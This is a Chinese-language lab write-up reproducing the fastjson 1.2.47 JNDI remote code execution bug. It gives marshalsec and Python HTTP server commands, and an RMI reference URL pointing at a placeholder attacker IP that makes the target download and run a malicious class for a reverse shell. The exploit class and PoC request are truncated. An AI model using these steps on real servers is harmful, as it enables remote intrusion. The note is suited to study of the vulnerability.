fastjson 1.2.47-rce
漏洞成因
1.2.47 这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制
具体分析见浅谈Fastjson RCE漏洞的绕过史

前提
复现
环境
靶机:jdk1.8.0_301、Apache Maven 3.3.9、fastjson1.2.47
攻击机:jdk1.8.0_301、Apache Maven 3.3.9、marshalsec

注意jdk版本会影响该漏洞复现
- 两种不同协议实现反弹shell有jdk版本要求,而且最后接收shell的vps的JDK版本要和靶机的版本相近
下图jdk版本不存在该漏洞
访问8090端口

步骤
同fastjson1.2.24复现步骤
1.编译生成恶意类.class
1 | public class Exploit { |
2.python开启一个临时web服务SimpleHTTPServer
python -m SimpleHTTPServer 4444
为了接收LDAP服务重定向请求,并需要在payload目录下开启,这样才能访问到payload文件
3.marshalsec开启LDAP或是RMI监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http://攻击者ip:4444/#Exploit" 9999
借助LDAP服务将LDAP reference result 重定向到web服务器
LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管
4.burp发送poc
1 | POST / HTTP/1.1 |

注:所有的工具和编译文件要放在同一目录下,并且python开启http服务也在当前目录
更新
靶机
环境
参考文章
https://www.cnblogs.com/null1433/p/12697682.html
https://blog.csdn.net/qq_40989258/article/details/103049474
